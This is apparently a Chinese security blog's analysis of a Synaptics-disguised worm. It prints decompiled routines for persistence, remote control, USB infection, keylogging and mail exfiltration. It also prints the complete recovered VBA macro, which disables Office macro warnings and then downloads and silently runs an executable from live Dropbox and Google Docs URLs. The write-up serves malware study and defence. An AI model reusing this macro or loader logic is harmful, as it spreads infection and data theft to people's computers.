&dword_479740, v26); Varhlpr::VariantClear(v29); return Variants::__linkproc__ OleVarFromVar(&v64, v29); } } else { __writefsdword(0, v27[0]); v28 = (int *)&loc_4795CA; sub_4109FC(v29); System::__linkproc__ LStrArrayClr(&v30, 4); System::__linkproc__ FinalizeArray(v33, &byte_4010B4, 28, v28); System::__linkproc__ LStrArrayClr(&v61, 2); System::__linkproc__ IntfClear(&v63); sub_4109FC(&v64); System::__linkproc__ LStrClr(&System__AnsiString); return System::__linkproc__ LStrClr(&v67); } return result; } `
xls感染比较简单,获取xlsx文件内容,与XLSM资源合并,生成xlsm文件,替换源文件内容。病毒在感染xlsx文件后,会生成一个xlsm宏文件,主要来分析下其中的vba代码。一开始想直接查看vba代码的内容,发现被加密了,试了网上的很多方法都不行。
最后发现oletools非常好用,推荐给大家,可以直接分析xlsm中的宏代码,或者-c直接提取出来。
恶意宏代码如下:
`'Workbook_Open事件,主要功能是修改注册表内容,将VBA宏警告设置为禁用,关闭警告框,执行MPS Private Sub Workbook_Open() Dim i As Integer For i = 1 To ActiveWorkbook.Sheets.Count ActiveWorkbook.Sheets(i).Visible = xlSheetVisible Next i '修改注册表内容将VBA宏警告设置为禁用,关闭警告框 RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD" RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD" Application.DisplayAlerts = False SheetCount = Worksheets.Count Call MPS ActiveWorkbook.Sheets(1).Select SheetsChanged = False End Sub Private Sub Workbook_BeforeClose(Cancel As Boolean) If Not SheetsChanged Then ActiveWorkbook.Saved = True End If End Sub Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range) SheetsChanged = True End Sub Private Sub Workbook_NewSheet(ByVal Sh As Object) SheetsChanged = True End Sub Private Sub Workbook_SheetActivate(ByVal Sh As Object) If ActiveWorkbook.Sheets.Count <> SheetCount Then SheetsChanged = True SheetCount = ActiveWorkbook.Sheets.Count End If End Sub '文件保存,根据是”保存“还是”另存为“进行不同的操作 Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean) Dim i As Integer Dim AIndex As Integer Dim FName AIndex = ActiveWorkbook.ActiveSheet.Index If SaveAsUI = False Then Cancel = True Application.EnableEvents = False Application.ScreenUpdating = False For i = 1 To ActiveWorkbook.Sheets.Count - 1 ActiveWorkbook.Sheets(i).Visible = xlSheetHidden Next i ActiveWorkbook.Save For i = 1 To ActiveWorkbook.Sheets.Count ActiveWorkbook.Sheets(i).Visible = xlSheetVisible Next i ActiveWorkbook.Sheets(AIndex).Select SheetsChanged = False Application.ScreenUpdating = True Application.EnableEvents = True Else Cancel = True Application.EnableEvents = False Application.ScreenUpdating = False For i = 1 To ActiveWorkbook.Sheets.Count - 1 ActiveWorkbook.Sheets(i).Visible = xlSheetHidden Next i FName = Application.GetSaveAsFilename(fileFilter:="Excel 莂l�ma Kitab�(*.xlsm), *.xlsm") If FName <> False Then ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled SaveAsInj ActiveWorkbook.Path End If For i = 1 To ActiveWorkbook.Sheets.Count ActiveWorkbook.Sheets(i).Visible = xlSheetVisible Next i ActiveWorkbook.Sheets(AIndex).Select SheetsChanged = False Application.ScreenUpdating = True Application.EnableEvents = True End If End Sub '获取Workbook_BeforeSave事件中保存的文件的路径,检查目录下是否有Synaptics.exe文件,如果没有,将Synaptics.exe文件复制到目录下,并重命名为"\~$cache1",最后设置文件属性,设置为隐藏 Sub SaveAsInj(DIR As String) '接收DIR Dim FSO As Object Dim FN As String Set FSO = CreateObject("scripting.filesystemobject") FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe" '病毒母体所在路径 If FSO.FileExists(FN) Then '检查文件是否存在 If Not FSO.FileExists(DIR & "\~$cache1") Then FileCopy FN, DIR & "\~$cache1" '文件不存在则复制文件,重命名为"\~$cache1" End If SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem '设置文件属性 End If End Sub '读取注册表 Function RegKeyRead(i_RegKey As String) As String Dim myWS As Object On Error Resume Next Set myWS = CreateObject("WScript.Shell") RegKeyRead = myWS.RegRead(i_RegKey) End Function '检查注册表项是否存在 Function RegKeyExists(i_RegKey As String) As Boolean Dim myWS As Object On Error GoTo ErrorHandler Set myWS = CreateObject("WScript.Shell") myWS.RegRead i_RegKey RegKeyExists = True Exit Function ErrorHandler: RegKeyExists = False End Function '修改注册表 Sub RegKeySave(i_RegKey As String, _ i_Value As String, _ Optional i_Type As String = "REG_SZ") Dim myWS As Object Set myWS = CreateObject("WScript.Shell") myWS.RegWrite i_RegKey, i_Value, i_Type End Sub '下载执行恶意程序,首先判断病毒文件是否存在,如果存在直接执行,不存在下载并执行 Sub MPS() Dim FSO As Object Dim FP(1 To 3), TMP, URL(1 To 3) As String Set FSO = CreateObject("scripting.filesystemobject") FP(1) = ActiveWorkbook.Path & "\~$cache1" FP(2) = ActiveWorkbook.Path & "\Synaptics.exe" '检查两个程序是否存在 URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download" URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1" URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1" TMP = Environ("Temp") & "\~$cache1.exe" If FSO.FileExists(FP(1)) Then '检查文件是否存在 If Not FSO.FileExists(TMP) Then FileCopy FP(1), TMP End If Shell TMP, vbHide ElseIf FSO.FileExists(FP(2)) Then If Not FSO.FileExists(TMP) Then FileCopy FP(2), TMP End If Shell TMP, vbHide Else '如果文件不存在,下载运行 If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide ElseIf Not FSO.FileExists(TMP) Then If FDW((URL(1)), (TMP)) Then ElseIf FDW((URL(2)), (TMP)) Then ElseIf FDW((URL(3)), (TMP)) Then End If If FSO.FileExists(TMP) Then Shell TMP, vbHide End If Else Shell TMP, vbHide End If End If End Sub '从指定链接下载文件并保存到路径 Function FDW(MYU, NMA As String) As Boolean Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1") If WinHttpReq Is Nothing Then Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5") End If WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)" WinHttpReq.Option(6) = AllowRedirects WinHttpReq.Open "GET", MYU, False WinHttpReq.Send If (WinHttpReq.Status = 200) Then If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then FDW = True Set oStream = CreateObject("ADODB.Stream") oStream.Open oStream.Type = 1 oStream.Write WinHttpReq.ResponseBody oStream.SaveToFile (NMA) oStream.Close Else FDW = False End If Else FDW = False End If End Function `
这段宏代码还是挺有意思的,主要作用就是扩大感染。
病毒在首次运行后会创建C:\ProgramData\Synaptics目录,将病毒母体存放在该目录下,并设置文件属性为隐藏。
`char __usercall sub_498B40@<al>(int a1@<eax>, int a2@<ebx>) { char v2; // zf char *v3; // eax int v4; // ecx int v5; // ecx int *v6; // ecx int v7; // ecx int v8; // ecx int v9; // ecx char v11; // [esp-20h] [ebp-70h] int v12; // [esp-1Ch] [ebp-6Ch] _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-68h] BYREF void *v14; // [esp-14h] [ebp-64h] int *v15; // [esp-10h] [ebp-60h] unsigned int v16[2]; // [esp-Ch] [ebp-5Ch] BYREF int *v17; // [esp-4h] [ebp-54h] int v18; // [esp+Ch] [ebp-44h] BYREF unsigned int v19; // [esp+10h] [ebp-40h] BYREF int v20; // [esp+14h] [ebp-3Ch] BYREF int v21; // [esp+18h] [ebp-38h] BYREF int v22; // [esp+1Ch] [ebp-34h] BYREF int v23; // [esp+20h] [ebp-30h] BYREF int System__AnsiString; // [esp+24h] [ebp-2Ch] BYREF int v25; // [esp+28h] [ebp-28h] BYREF int v26; // [esp+2Ch] [ebp-24h] BYREF int v27; // [esp+30h] [ebp-20h] BYREF int v28; // [esp+34h] [ebp-1Ch] BYREF int v29; // [esp+38h] [ebp-18h] BYREF int v30[2]; // [esp+3Ch] [ebp-14h] BYREF int v31; // [esp+44h] [ebp-Ch] BYREF char v32; // [esp+4Bh] [ebp-5h] int v33; // [esp+4Ch] [ebp-4h] int savedregs; // [esp+50h] [ebp+0h] BYREF v33 = a1; v17 = &savedregs; v16[1] = (unsigned int)&loc_498E26; v16[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v16); System::ParamStr(0, v30); // 获取路径 Sysutils::ExtractFileDir(v30[0]); System::__linkproc__ LStrCmp(v30[1], dword_49F144);// dword_49F144为C:\ProgramData\Synaptics。这里和C:\ProgramData\Synaptics比较,正确执行else,不正确执行v32=0 if ( v2 ) { v32 = 0; } else { v32 = 1; if ( !Sysutils::DirectoryExists((const int)dword_49F144) )// 判断路径是否存在 { v15 = &savedregs; v14 = &loc_498C00; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); v3 = System::__linkproc__ LStrToPChar((char *)dword_49F144); unknown_libname_83((int)&v29, v3); Sysutils::CreateDir(v29); // 创建C:\ProgramData\Synaptics文件夹 Sysutils::FileSetAttr((const int)dword_49F144, 6u);// 设置目录属性设置为可写 System::__linkproc__ LStrCat3((int)&v28, &str_CreateDir____[1], dword_49F144); sub_4967D4(v33, v28); __writefsdword(0, (unsigned int)ExceptionList); } v15 = &savedregs; v14 = &loc_498C8A; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); System::ParamStr(0, &v27); v12 = v27; System::__linkproc__ LStrCatN(&v26, 3, v4, dword_49F144, &str___93[1], str_Synaptics_exe); CopyFile(v12, v26, 6u); // copy病毒文件到指定目录,设置文件属性为隐藏 System::__linkproc__ LStrCatN(&v25, 4, v5, dword_49F144, &str___93[1], str_Synaptics_exe); sub_4967D4(v33, v25); v6 = v15; __writefsdword(0, (unsigned int)ExceptionList); v15 = &savedregs; v14 = &loc_498D22; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); System::__linkproc__ LStrCatN(&System__AnsiString, 3, v6, dword_49F144, &str___93[1], str_Synaptics_exe); if ( Sysutils::FileExists(System__AnsiString) ) { System::__linkproc__ LStrCatN(&v23, 3, v7, dword_49F144, &str___93[1], str_Synaptics_exe); sub_474B04(v23, 0, str_EXEVSNX_0); System::__linkproc__ LStrCat3((int)&v22, &str_Update_Res____[1], str_EXEVSNX_0); sub_4967D4(v33, v22); } __writefsdword(0, (unsigned int)ExceptionList); v15 = &savedregs; v14 = &loc_498DFB; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); System::ParamStr(0, &v21); sub_474948(v21, &str_ProductName_0[1], &v31); if ( !v31 ) { System::ParamStr(0, &v20); sub_474948(v20, &str_FileDescription_0[1], &v31); } if ( !v31 ) System::__linkproc__ LStrLAsg(&v31, &str_Synaptics_Point[1]); v11 = sub_4738BC(0, a2); System::__linkproc__ LStrCatN(&v19, 3, v8, dword_49F144, &str___93[1], str_Synaptics_exe); SetRootKeyA(v11, v31, v19, 1); // 设置注册表项 System::__linkproc__ LStrCatN(&v18, 6, v9, dword_49F144, &str___93[1], str_Synaptics_exe); sub_4967D4(v33, v18); __writefsdword(0, (unsigned int)ExceptionList); } __writefsdword(0, v16[0]); v17 = (int *)&loc_498E2D; System::__linkproc__ LStrArrayClr(&v18, 15); return v32; } `
同时病毒还会修改注册表信息实现自启动。
根据a1的值判断是设置HKEY_LOCAL_MACHINE
还是HKEY_CURRENT_USER
,打开注册表设置自启动的路径Software\Microsoft\Windows\CurrentVersion\Run
,写入注册表。
`// bad sp value at call has been detected, the output may be wrong! int __fastcall SetRootKeyA(char a1, int a2, unsigned int a3, char a4) { unsigned int v6[2]; // [esp-18h] [ebp-28h] BYREF void **v7; // [esp-10h] [ebp-20h] _DWORD v8[4]; // [esp-Ch] [ebp-1Ch] BYREF System::TObject *v9; // [esp+4h] [ebp-Ch] unsigned int v10; // [esp+8h] [ebp-8h] BYREF int System__AnsiString; // [esp+Ch] [ebp-4h] void *savedregs; // [esp+10h] [ebp+0h] BYREF v10 = a3; System__AnsiString = a2; System::__linkproc__ LStrAddRef(a2); System::__linkproc__ LStrAddRef(v10); v8[2] = &savedregs; v8[1] = &loc_47365D; v8[0] = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v8); v7 = &savedregs; v6[1] = (unsigned int)&loc_47363B; v6[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v6); v9 = (System::TObject *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_431D40); if ( a1 ) Registry::TRegistry::SetRootKey(v9, 0x80000002);// HKEY_LOCAL_MACHINE else Registry::TRegistry::SetRootKey(v9, 0x80000001);// HKEY_CURRENT_USER *((_BYTE *)v9 + 12) = 0; Registry::TRegistry::OpenKey(v9, (const int)&str_Software_Micros[1], 0);// 打开注册表Software\Microsoft\Windows\CurrentVersion\Run if ( a4 ) Registry::TRegistry::WriteString(v9, System__AnsiString, v10);// 写入注册表 else Registry::TRegistry::DeleteValue(v9, System__AnsiString); Registry::TRegistry::CloseKey(v9); __writefsdword(0, v6[0]); v7 = (void **)&loc_473642; System::TObject::Free(v9); __writefsdword(0, v10); savedregs = &loc_473664; return System::__linkproc__ LStrArrayClr(&v10, 2); } `
分析病毒远控代码可以发现,病毒可以进行命令执行、屏幕截图、磁盘和目录遍历、下载删除文件等功能。
`int __fastcall RemoteControl(int a1) { int v2; // esi char v3; // zf _EXCEPTION_REGISTRATION_RECORD *v4; // edx _EXCEPTION_REGISTRATION_RECORD *v6; // [esp-14h] [ebp-28h] BYREF int *v7; // [esp-10h] [ebp-24h] int ExceptionList; // [esp-Ch] [ebp-20h] BYREF void *v9; // [esp-8h] [ebp-1Ch] int *v10; // [esp-4h] [ebp-18h] void *v11; // [esp+0h] [ebp-14h] DWORD ThreadId; // [esp+Ch] [ebp-8h] BYREF int v13; // [esp+10h] [ebp-4h] BYREF int savedregs; // [esp+14h] [ebp+0h] BYREF v13 = 0; v10 = &savedregs; v9 = &loc_495D23; ExceptionList = (int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); if ( (*(unsigned __int8 (__fastcall **)(Idstream::TIdStream *, _DWORD))(*(_DWORD *)dword_49F114 + 84))( dword_49F114, *(_DWORD *)dword_49F114) ) { unknown_libname_533(dword_49F134, 0); (*(void (__fastcall **)(Idstream::TIdStream *, _strings *))(*(_DWORD *)dword_49F114 + 124))( dword_49F114, &str_CheckMe[1]); ExceptionList = -1; v7 = &v13; v2 = *(_DWORD *)dword_49F114; (*(void (__fastcall **)(Idstream::TIdStream *, _strings *, int, int, int *))(*(_DWORD *)dword_49F114 + 112))( dword_49F114, &str___79[1], -1, -1, &v13); ExceptionList = (int)&savedregs; v7 = (int *)&loc_495CD3; v6 = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&v6); System::__linkproc__ LStrCmp(v13, &str_GetCMDAccess[1]);// 命令执行 if ( v3 ) sub_495DD0(a1, v2); System::__linkproc__ LStrCmp(v13, &str_GetScreenImage[1]);// 屏幕截图 if ( v3 ) sub_495F14(a1); System::__linkproc__ LStrCmp(v13, &str_ListDisk[1]);// 磁盘列表 if ( v3 ) sub_495FDC(a1); System::__linkproc__ LStrCmp(v13, &str_ListDir[1]);// 目录列表 if ( v3 ) sub_4960C8(a1, v2); System::__linkproc__ LStrCmp(v13, &str_DownloadFile[1]);// 下载文件 if ( v3 ) sub_496254(a1); System::__linkproc__ LStrCmp(v13, &str_DeleteFile[1]);// 删除文件 if ( v3 ) sub_496400(a1); v4 = v6; __writefsdword(0, (unsigned int)v6); LOBYTE(v4) = 1; unknown_libname_533(dword_49F134, v4); } else { unknown_libname_533(dword_49F134, 0); CreateThread_0(0, 0, StartAddress, 0, 0, &ThreadId); } __writefsdword(0, (unsigned int)v9); v11 = &loc_495D2A; return System::__linkproc__ LStrClr(&v13); } `
同时病毒还会监听是否有USB设备接入,从而感染USB设备内的文件扩大传播。
`int __userpurge OpDrive@<eax>( int a1@<eax>, int System::AnsiString@<ecx>, int a3@<ebx>, int a4@<edi>, int a5@<esi>, int a6) { __int32 v9; // eax void *v11; // [esp-30h] [ebp-40h] bool v12; // [esp-2Ch] [ebp-3Ch] bool v13; // [esp-28h] [ebp-38h] bool v14; // [esp-28h] [ebp-38h] unsigned int v15[3]; // [esp-24h] [ebp-34h] BYREF unsigned int v16[2]; // [esp-18h] [ebp-28h] BYREF int *v17; // [esp-10h] [ebp-20h] int v18; // [esp-Ch] [ebp-1Ch] int v19; // [esp-8h] [ebp-18h] int v20; // [esp-4h] [ebp-14h] void *v21; // [esp+0h] [ebp-10h] BYREF int v22; // [esp+4h] [ebp-Ch] BYREF void *v23; // [esp+8h] [ebp-8h] int v24; // [esp+Ch] [ebp-4h] BYREF int savedregs; // [esp+10h] [ebp+0h] BYREF v24 = 0; v23 = 0; v22 = 0; v21 = 0; v20 = a3; v19 = a5; v18 = a4; v17 = &savedregs; v16[1] = (unsigned int)&loc_497174; v16[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v16); v15[2] = (unsigned int)&savedregs; v15[1] = (unsigned int)&loc_49714F; v15[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v15); Sysutils::ExtractFileDrive(System::AnsiString);// 获取驱动器,也就是盘符 System::__linkproc__ LStrCat3((int)&v24, &str_Drive_Added____[1], v23); sub_4967D4(a1, v24); v13 = Sysutils::StrToBool(dword_49F1D0); v12 = Sysutils::StrToBool(dword_49F1D4); Sysutils::ExtractFileDrive(System::AnsiString); System::__linkproc__ LStrCat((int)&v22, &str___86[1]); v11 = (void *)v22; LOBYTE(v9) = Sysutils::StrToBool(dword_49F1CC); sub_4975D8(a1, v11, v9, v13, v12); // 感染 v14 = Sysutils::StrToBool(dword_49F1B8); Sysutils::ExtractFileDrive(System::AnsiString); System::__linkproc__ LStrCat((int)&v21, &str___86[1]); sub_496A40(a1, v21, 0, a1, a4, System::AnsiString, v14); //感染 __writefsdword(0, v15[0]); __writefsdword(0, v16[0]); v17 = (int *)&loc_49717B; return System::__linkproc__ LStrArrayClr(&v21, 4); } `
感染USB设备中的文件
`int __userpurge OpDriveExeXls@<eax>( int a1@<eax>, int System::AnsiString@<ecx>, int a3@<ebx>, int a4@<edi>, int a5@<esi>, int a6) { char v9; // zf unsigned int v11[3]; // [esp-24h] [ebp-40h] BYREF unsigned int v12[2]; // [esp-18h] [ebp-34h] BYREF int *v13; // [esp-10h] [ebp-2Ch] int v14; // [esp-Ch] [ebp-28h] int v15; // [esp-8h] [ebp-24h] int v16; // [esp-4h] [ebp-20h] int v17; // [esp+0h] [ebp-1Ch] BYREF int v18; // [esp+4h] [ebp-18h] BYREF int v19; // [esp+8h] [ebp-14h] int v20; // [esp+Ch] [ebp-10h] int v21; // [esp+10h] [ebp-Ch] BYREF int v22; // [esp+14h] [ebp-8h] BYREF int v23; // [esp+18h] [ebp-4h] int savedregs; // [esp+1Ch] [ebp+0h] BYREF v23 = 0; v22 = 0; v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; v16 = a3; v15 = a5; v14 = a4; v13 = &savedregs; v12[1] = (unsigned int)&loc_4969C5; v12[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v12); v11[2] = (unsigned int)&savedregs; v11[1] = (unsigned int)&loc_4969A0; v11[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v11); Sysutils::ExtractFileExt(System::AnsiString); System::__linkproc__ LStrCmp(v23, &str__exe_0[1]);// 比较后缀名,判断是否为exe文件 if ( v9 && !unknown_libname_89(&str____0[1], System::AnsiString) && (unsigned __int8)Sysutils::StrToBool(dword_49F1D0) ) { System::__linkproc__ LStrCat3((int)&v22, &str_Injecting____[1], (void *)System::AnsiString); sub_4967D4(a1, v22); sub_477940(System::AnsiString, (int)str_EXEVSNX_0, off_49D6BC, dword_49F14C, 1, (int)&v21);// 感染exe sub_4967D4(a1, v21); } else { Sysutils::ExtractFileExt(System::AnsiString); System::__linkproc__ LStrCmp(v20, &str__xlsx[1]);// 比较后缀名,判断是否为xlsx文件 if ( v9 ) { Sysutils::ExtractFileName(System::AnsiString); if ( !Sysutils::AnsiPos(&str___[1], v19) ) { if ( (unsigned __int8)Sysutils::StrToBool(dword_49F1D4) ) { System::__linkproc__ LStrCat3((int)&v18, &str_Injecting____[1], (void *)System::AnsiString); sub_4967D4(a1, v18); sub_47983C(System::AnsiString); // 感染xlsx System::__linkproc__ LStrCat3((int)&v17, &str_Completed_____2[1], (void *)System::AnsiString); sub_4967D4(a1, v17); } } } } __writefsdword(0, v11[0]); __writefsdword(0, v12[0]); v13 = (int *)&loc_4969CC; return System::__linkproc__ LStrArrayClr(&v17, 7); } `
USB传播过程:
我看其他的分析有说程序会生成autorun.inf 文件,这个我查了一下作用是允许在双击磁盘时自动运行指定的某个文件。
但是因为出现过多的使用autorun.inf 文件进行传播木马,微软在在2011年2月8日发布的安全公告KB967940中进行了更新,已经无法自动运行了。
病毒释放KBHKS
资源中的键盘监听DLL文件,加载此DLL文件,使用HookOn函数进行键盘监听。
`int __fastcall KeyboardMonitor(int a1, int a2, int a3) { char *v6; // eax char *v7; // eax int v8; // edx __int64 v9; // rax HANDLE FileMappingA; // eax int v11; // edx __int64 v12; // rax _DWORD *v13; // eax HANDLE v14; // eax int v15; // edx __int64 v16; // rax _DWORD *v17; // ebx _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-1Ch] BYREF void *v20; // [esp-14h] [ebp-18h] int *v21; // [esp-10h] [ebp-14h] int v22; // [esp+0h] [ebp-4h] BYREF int savedregs; // [esp+4h] [ebp+0h] BYREF v22 = 0; v21 = &savedregs; v20 = &loc_476697; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); if ( (_BYTE)a2 ) { sub_47671C(a1, a2, dword_49EC58, v21, v20, ExceptionList);// 释放监听DLL文件 v6 = System::__linkproc__ LStrToPChar((char *)dword_49EC5C); *(_DWORD *)(a1 + 64) = LoadLibraryA(v6); // 加载监听DLL文件 if ( !*(_DWORD *)(a1 + 64) ) // 加载失败后的处理 { System::__linkproc__ LStrCat3((int)&v22, &str_X[1], dword_49EC58); sub_47671C(a1, a2, v22, v21, v20, ExceptionList); v7 = System::__linkproc__ LStrToPChar((char *)dword_49EC5C); *(_DWORD *)(a1 + 64) = LoadLibraryA(v7); } *(_DWORD *)(a1 + 68) = GetProcAddress_0(*(HMODULE *)(a1 + 64), "HookOn"); *(_DWORD *)(a1 + 72) = GetProcAddress_0(*(HMODULE *)(a1 + 64), "HookOff"); if ( !*(_DWORD *)(a1 + 68) || !*(_DWORD *)(a1 + 72) ) { LOBYTE(v8) = 1; v9 = unknown_libname_173(&cls_SysUtils_Exception, v8, &str_DLL_Fonksiyonu_[1]);// 未找到DLL函数 System::__linkproc__ RaiseExcept(v9, HIDWORD(v9)); } FileMappingA = CreateFileMappingA((HANDLE)0xFFFFFFFF, 0, 4u, 0, 4u, "ElReceptor"); *(_DWORD *)(a1 + 48) = FileMappingA; if ( !FileMappingA ) { LOBYTE(v11) = 1; v12 = unknown_libname_173(&cls_SysUtils_Exception, v11, &str_Dosya_Olu_turul[1]); System::__linkproc__ RaiseExcept(v12, HIDWORD(v12)); } v13 = MapViewOfFile(*(HANDLE *)(a1 + 48), 2u, 0, 0, 0); *(_DWORD *)(a1 + 56) = v13; *v13 = a3; v14 = CreateFileMappingA((HANDLE)0xFFFFFFFF, 0, 4u, 0, 4u, "CBReceptor"); *(_DWORD *)(a1 + 52) = v14; if ( !v14 ) { LOBYTE(v15) = 1; v16 = unknown_libname_173(&cls_SysUtils_Exception, v15, &str_Dosya_Olu_turul[1]); System::__linkproc__ RaiseExcept(v16, HIDWORD(v16)); } v17 = MapViewOfFile(*(HANDLE *)(a1 + 52), 2u, 0, 0, 0); *(_DWORD *)(a1 + 60) = v17; *v17 = a3; (*(void (**)(void))(a1 + 68))(); // 调用HookOn } else { if ( *(_DWORD *)(a1 + 72) ) (*(void (__cdecl **)(_EXCEPTION_REGISTRATION_RECORD *, void *, int *))(a1 + 72))(ExceptionList, v20, v21); if ( *(_DWORD *)(a1 + 64) ) FreeLibrary_0(*(HMODULE *)(a1 + 64)); if ( *(_DWORD *)(a1 + 48) ) { UnmapViewOfFile(*(LPCVOID *)(a1 + 56)); UnmapViewOfFile(*(LPCVOID *)(a1 + 60)); CloseHandle_0(*(HANDLE *)(a1 + 48)); CloseHandle_0(*(HANDLE *)(a1 + 52)); } } __writefsdword(0, (unsigned int)ExceptionList); v21 = (int *)&loc_47669E; return System::__linkproc__ LStrClr(&v22); } `
病毒通过邮件的方式将被感染的计算机的信息发送到指定的邮箱。
`int __fastcall MailReply(int a1) { int v2; // eax int v3; // ecx int v4; // ecx int v5; // ecx int v6; // edx DWORD v7; // ecx int v9; // [esp-28h] [ebp-5Ch] int v10; // [esp-20h] [ebp-54h] int v11; // [esp-1Ch] [ebp-50h] unsigned int v12[3]; // [esp-18h] [ebp-4Ch] BYREF unsigned int v13[2]; // [esp-Ch] [ebp-40h] BYREF int *v14; // [esp-4h] [ebp-38h] int v15; // [esp+Ch] [ebp-28h] BYREF int v16; // [esp+10h] [ebp-24h] BYREF int v17; // [esp+14h] [ebp-20h] BYREF int System__AnsiString; // [esp+18h] [ebp-1Ch] BYREF __int32 v19; // [esp+20h] [ebp-14h] BYREF int v20; // [esp+24h] [ebp-10h] BYREF int v21; // [esp+28h] [ebp-Ch] BYREF int v22; // [esp+2Ch] [ebp-8h] BYREF int v23; // [esp+30h] [ebp-4h] BYREF int savedregs; // [esp+34h] [ebp+0h] BYREF v2 = 0; v14 = &savedregs; v13[1] = (unsigned int)&loc_49743D; v13[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v13); if ( !*(_DWORD *)(a1 + 768) ) { v2 = Adaptreq::TAdapterRequestParamsImpl::TAdapterRequestParamsImpl(dword_49F194, dword_49F190, dword_49F18C); *(_DWORD *)(a1 + 768) = v2; } if ( (unsigned __int8)sub_474D34(v2) ) { v12[2] = (unsigned int)&savedregs; v12[1] = (unsigned int)&loc_497418; v12[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v12); GetMailContent(*(_DWORD *)(a1 + 764), (int)&v23);// 获取邮件内容 (*(void (__fastcall **)(_DWORD, int *))(**(_DWORD **)(a1 + 780) + 28))(*(_DWORD *)(a1 + 780), &v22); System::__linkproc__ LStrCatN(&v23, 6, v3, &str_____________SYS[1], &str___88[1], v22); sub_494D10(dword_49F19C, dword_49F198); v11 = v23; v10 = dword_49F1A0; GetComputerName((int)&v20); // 获取计算机名 v9 = v20; GetMacAdd(&v19); // 获取mac地址 System::__linkproc__ LStrCatN(&v21, 4, v4, v9, &str____[1], v19); GetUserName(v21); // 获取系统登录的用户名 Dbxtrace::TDBXTracePascalFormatter::GetProperty(v10, v11); sub_4737B0((int)&v16); // GetTempPathA sub_472D44(8, &v15); System::__linkproc__ LStrCatN(&v17, 4, v5, &str___89[1], v15, &str__jpg[1]); sub_4752EC(v17, &System__AnsiString); // 屏幕截图 sub_494F84(*(_DWORD *)(a1 + 768), System__AnsiString, 1); SendMailA(*(_DWORD *)(a1 + 768), v6, v7); // 发送邮件 __writefsdword(0, v12[0]); } __writefsdword(0, v13[0]); v14 = (int *)&loc_497444; return System::__linkproc__ LStrArrayClr(&v15, 10); } `
发送邮件的邮箱地址、密码和接收邮件的邮箱。
同时,病毒还会下载恶意文件,包括exe和ini文件。
可以直接火绒一把梭。
因为我的虚拟机是没装任何杀软的,才会让病毒有可乘之机,好在只是感染了虚拟机,没有特别大的影响,在这还是提醒各位小伙伴装好杀软,不要在网上乱下东西。
这次病毒样本分析,虽然网上有些文章参考,但是不够全面,自己也是挨个函数找,分析了很久,之前也从没分析过一个完整的病毒程序,在锻炼自己逆向分析能力的同时也提升了自己对恶意程序的认知。即使是这样,作为一名安全从业者被感染病毒实在不该。
总结:常在河边走,还是比较容易湿鞋。
关于此次分析的病毒样本已经放到云盘中了,想要分析的可以下载分析,注意不要干坏事哦~
https://blog.csdn.net/skystephens/article/details/104901398
https://www.freebuf.com/articles/endpoint/222991.html
https://www.52pojie.cn/thread-1147954-1-1.html
往期推荐
E
N
D
Tide团队产品及服务
团队自研平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台 | ......
